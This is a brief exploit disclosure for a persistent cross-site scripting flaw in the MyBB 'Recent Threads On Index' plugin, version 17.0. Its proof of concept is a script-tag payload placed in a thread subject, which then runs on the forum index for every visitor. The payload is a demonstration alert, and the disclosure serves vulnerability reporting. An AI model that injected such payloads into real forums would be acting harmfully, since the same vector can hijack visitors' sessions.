MyBB Plugin Recent Threads On Index - Cross-Site Scripting
# Exploit Title: MyBB Recent threads # Date: 4th April 2018 # Exploit Author: Perileos # Software Link: https://community.mybb.com/mods.php?action=view&pid=191 # Version: 17.0 # Tested on: Windows 10 1. Description: This plugin shows recent threads in the side bar on your MyBB forum. 2. Proof of concept: Persistent XSS - Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>"> - Navigate to the index to see a board wide persistent XSS alert.